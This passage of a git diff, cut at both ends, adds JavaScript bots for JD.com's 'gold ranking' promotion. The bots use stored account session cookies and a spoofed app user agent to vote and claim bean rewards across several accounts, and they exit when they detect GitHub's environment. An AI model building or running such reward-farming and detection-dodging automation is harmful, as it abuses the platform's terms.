t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_gold_creator.js b/jd_gold_creator.js new file mode 100644 index 0000000..06ac505 --- /dev/null +++ b/jd_gold_creator.js @@ -0,0 +1,351 @@ +/* +金榜创造营 +活动入口:https://h5.m.jd.com/babelDiy/Zeus/2H5Ng86mUJLXToEo57qWkJkjFPxw/index.html +活动时间:2021-05-21至2021-12-31 +脚本更新时间:2021-05-28 14:20 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#金榜创造营 +13 1,22 * * * jd_gold_creator.js, tag=金榜创造营, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "13 1,22 * * *" script-path=jd_gold_creator.js, tag=金榜创造营 + +====================Surge================ +金榜创造营 = type=cron,cronexp="13 1,22 * * *",wake-system=1,timeout=3600,script-path=jd_gold_creator.js + +============小火箭========= +金榜创造营 = type=cron,script-path=jd_gold_creator.js, cronexpr="13 1,22 * * *", timeout=3600, enable=true + */ +const $ = new Env('金榜创造营'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.beans = 0 + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } else { + $.setdata('', `CookieJD${i ? i + 1 : ""}`);//cookie失效,故清空cookie。$.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。 + } + continue + } + await main() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function main() { + try { + await goldCreatorTab();//获取顶部主题 + await getDetail(); + await goldCreatorPublish(); + await showMsg(); + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(resolve => { + if ($.beans) { + message += `本次运行获得${$.beans}京豆` + $.msg($.name, '', `【京东账号${$.index}】${$.UserName || $.nickName}\n${message}`); + } + resolve() + }) +} +async function getDetail() { + $.subTitleInfos = $.subTitleInfos.filter(vo => !!vo && vo['hasVoted'] === '0'); + for (let item of $.subTitleInfos) { + console.log(`\n开始给【${item['longTitle']}】主题下的商品进行投票`); + await goldCreatorDetail(item['matGrpId'], item['subTitleId'], item['taskId'], item['batchId']); + await $.wait(2000); + } +} +function goldCreatorTab() { + $.subTitleInfos = []; + return new Promise(resolve => { + const body = {"subTitleId":"","isPrivateVote":"0"}; + const options = taskUrl('goldCreatorTab', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorDetail API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + $.subTitleInfos = data.result.subTitleInfos || []; + let unVoted = $.subTitleInfos.length + console.log(`共有${$.subTitleInfos.length}个主题`); + $.stageId = data.result.mainTitleHeadInfo.stageId; + $.advGrpId = data.result.mainTitleHeadInfo.advGrpId; + await goldCreatorDetail($.subTitleInfos[0]['matGrpId'], $.subTitleInfos[0]['subTitleId'], $.subTitleInfos[0]['taskId'], $.subTitleInfos[0]['batchId'], true); + $.subTitleInfos = $.subTitleInfos.filter(vo => !!vo && vo['hasVoted'] === '0'); + console.log(`已投票${unVoted - $.subTitleInfos.length}主题\n`); + } else { + console.log(`goldCreatorTab 异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//获取每个主题下面待投票的商品 +function goldCreatorDetail(groupId, subTitleId, taskId, batchId, flag = false) { + $.skuList = []; + $.taskList = []; + $.remainVotes = 0; + return new Promise(resolve => { + const body = { + groupId, + "stageId": $.stageId, + subTitleId, + batchId, + "skuId": "", + "taskId": Number(taskId) + }; + const options = taskUrl('goldCreatorDetail', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorDetail API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + $.remainVotes = data.result.remainVotes || 0; + $.skuList = data.result.skuList || []; + $.taskList = data.result.taskList || []; + $.signTask = data.result.signTask + if (flag) { + await doTask2(batchId); + } else { + console.log(`当前剩余投票次数:${$.remainVotes}`); + await doTask(subTitleId, taskId, batchId); + } + } else { + console.log(`goldCreatorDetail 异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function doTask(subTitleId, taskId, batchId) { + $.skuList = $.skuList.filter(vo => !!vo && vo['isVoted'] === 0); + let randIndex = Math.floor(Math.random() * $.skuList.length); + console.log(`给 【${$.skuList[randIndex]['name']}】 商品投票`); + const body = { + "stageId": $.stageId, + subTitleId, + "skuId": $.skuList[randIndex]['skuId'], + "taskId": Number(taskId), + "itemId": "1", + "rankId": $.skuList[randIndex]['rankId'], + "type": 1, + batchId + }; + await goldCreatorDoTask(body); +} +async function doTask2(batchId) { + for (let task of $.taskList) { + task = task.filter(vo => !!vo && vo['taskStatus'] === 1); + for (let item of task) { + console.log(`\n做额外任务:${item['taskName']}`) + const body = {"taskId": item['taskId'], "itemId": item['taskItemInfo']['itemId'], "type": item['taskType'], batchId}; + if (item['taskType'] === 1) { + body['type'] = 2; + } + await goldCreatorDoTask(body); + await $.wait(2000); + } + } + if ($.signTask['taskStatus'] === 1) { + const body = {"taskId": $.signTask['taskId'], "itemId": $.signTask['taskItemInfo']['itemId'], "type": $.signTask['taskType'], batchId}; + await goldCreatorDoTask(body); + } +} +function goldCreatorDoTask(body) { + return new Promise(resolve => { + const options = taskUrl('goldCreatorDoTask', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorDetail API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + if (data.result.taskCode === '0') { + console.log(`成功,获得 ${data.result.lotteryScore}京豆\n`); + if (data.result.lotteryScore) $.beans += parseInt(data.result.lotteryScore); + } else { + console.log(`失败:${data.result['taskMsg']}\n`); + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function goldCreatorPublish() { + return new Promise(resolve => { + $.get(taskUrl('goldCreatorPublish'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorPublish API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + if (data.result.subCode === '0') { + console.log(data.result.lotteryResult.lotteryCode === '0' ? `揭榜成功:获得${data.result.lotteryResult.lotteryScore}京豆` : `揭榜成功:获得空气~`) + } + } else { + console.log(`揭榜失败:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=content_ecology&clientVersion=10.0.0&client=wh5&eufv=false&uuid=`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://h5.m.jd.com/", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_gold_sign.js b/jd_gold_sign.js new file mode 100644 index 0000000..c98fe8d --- /dev/null +++ b/jd_gold_sign.js @@ -0,0 +1,221 @@ +/* +京东金榜 +活动入口:https://h5.m.jd.com/babelDiy/Zeus/2H5Ng86mUJLXToEo57qWkJkjFPxw/index.html +by:小手冰凉 tg:@chianPLA +脚本更新时间:2022-1-5 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +新手写脚本,难免有bug,能用且用。 +===================quantumultx================ +[task_local] +#京东金榜 +13 7 * * * jd_gold_sign.js, tag=京东金榜, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + + */ +const $ = new Env('京东金榜'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { "open-url": "https://bean.m.jd.com/" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.beans = 0 + $.nickName = ''; + message = ''; + $.UUID = getUUID('xxxxxxxxxxxxxxxx-xxxxxxxxxxxxxxxx'); + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, { "open-url": "https://bean.m.jd.com/" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } else { + $.setdata('', `CookieJD${i ? i + 1 : ""}`);//cookie失效,故清空cookie。$.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。 + } + continue + } + await goldCreatorDoTask({ "type": 1 }) + await goldCenterHead(); + + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + + +function goldCenterHead() { + return new Promise(resolve => { + const options = taskUrl('goldCenterHead', '{}') + // console.log(options); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`goldCenterDoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + if (data.result.medalNum === 5) { + await $.wait(1500) + await goldCreatorDoTask({ "type": 2 }) + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function goldCreatorDoTask(body) { + return new Promise(resolve => { + const options = taskUrl('goldCenterDoTask', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`goldCenterDoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + if (data.result.taskCode === '0') { + console.log(`成功,获得 ${data.result.lotteryScore}京豆\n`); + if (data.result.lotteryScore) $.beans += parseInt(data.result.lotteryScore); + } else { + console.log(`失败:${data.result['taskMsg']}\n`); + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=content_ecology&clientVersion=10.2.4&client=wh5&eufv=false&uuid=${$.UUID}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://h5.m.jd.com/", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } 